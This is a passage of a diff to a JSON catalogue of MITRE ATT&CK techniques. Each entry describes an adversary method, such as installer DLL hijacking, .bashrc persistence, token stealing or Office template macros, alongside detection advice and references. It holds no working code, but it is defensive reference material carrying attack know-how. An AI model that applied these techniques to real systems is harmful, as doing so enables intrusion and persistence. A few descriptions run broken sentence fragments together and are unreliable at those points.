(local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to [[Discovery]] or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM, User, Administrator\n\nContributors: Stefan Kanthak", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Services", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1044", + "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "http://seclists.org/fulldisclosure/2015/Dec/34" + ], + "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + "value": "File System Permissions Weakness" + }, + { + "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1070" + ], + "uuid": "799ace7f-e227-4411-baa0-8868704f2a69" + }, + "value": "Indicator Removal on Host" + }, + { + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Process command-line parameters", + "Anti-virus", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1066" + ], + "uuid": "00d0b012-8a03-410e-95de-5826bf542de6" + }, + "value": "Indicator Removal from Tools" + }, + { + "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information [[Discovery]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1091" + ], + "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + "value": "Replication Through Removable Media" + }, + { + "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "Services", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1058", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx" + ], + "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427" + }, + "value": "Service Registry Permissions Weakness" + }, + { + "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1111", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf" + ], + "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49" + }, + "value": "Two-Factor Authentication Interception" + }, + { + "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1156" + ], + "uuid": "1aeb52d6-ae80-42bf-ade8-c2635190837d" + }, + "value": ".bash_profile and .bashrc" + }, + { + "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1033" + ], + "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104" + }, + "value": "System Owner/User Discovery" + }, + { + "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1017" + ], + "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + "value": "Application Deployment Software" + }, + { + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], "mitre_platforms": [ "Windows Server 2003", "Windows Server 2008", @@ -354,41 +1171,18 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1116", - "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://en.wikipedia.org/wiki/Code%20signing" + "https://attack.mitre.org/wiki/Technique/T1010" ], - "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d" + "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830" }, - "value": "Code Signing" + "value": "Application Window Discovery" }, { - "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring", + "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]\n\nDetection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers", "meta": { "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1143", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "52619537-a5c4-4b7b-aac0-6f214d0dfeba" - }, - "value": "Hidden Window" - }, - { - "description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls", - "meta": { - "mitre_data_sources": [ - "BIOS", - "MBR", - "System calls" + "File monitoring", + "Kernel drivers" ], "mitre_platforms": [ "Windows Server 2003", @@ -405,32 +1199,1236 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1014", - "https://en.wikipedia.org/wiki/Rootkit" + "https://attack.mitre.org/wiki/Technique/T1096", + "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", + "http://msdn.microsoft.com/en-us/library/aa364404" ], - "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d" }, - "value": "Rootkit" + "value": "NTFS Extended Attributes" }, { - "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root", + "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]\n\nAdditional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nContributors: Stefan Kanthak", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1106", + "http://msdn.microsoft.com/en-us/library/ms682425", + "https://skanthak.homepage.t-online.de/verifier.html" + ], + "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + "value": "Execution through API" + }, + { + "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. [[Citation: Microsoft runas]]\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the runas command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser[[Citation: Microsoft LogonUser]], DuplicateTokenEx[[Citation: Microsoft DuplicateTokenEx]], and ImpersonateLoggedOnUser[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nContributors: Tom Ueltschi @c_APT_ure", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1134", + "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", + "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", + "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", + "https://technet.microsoft.com/en-us/library/bb490994.aspx", + "https://pentestlab.blog/2017/04/03/token-manipulation/", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" + ], + "uuid": "a611377b-ff2b-450c-b065-19026fa63488" + }, + "value": "Access Token Manipulation" + }, + { + "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]\n\nOffice Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs.[[Citation: Microsoft Office Add-ins]]\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nContributors: Loic Jaquemet, Ricardo Dias", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows 10", + "Windows Server 2012", + "Windows 7", + "Windows 8", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows 8.1", + "Windows XP", + "Windows Vista" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1137", + "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", + "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", + "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", + "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", + "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", + "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", + "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" + ], + "uuid": "8f1a2752-6bf6-46de-8ad1-7455214da405" + }, + "value": "Office Application Startup" + }, + { + "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.Net, on the command-line interface and [[Discovery]] techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Process use of network", + "Authentication logs", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + 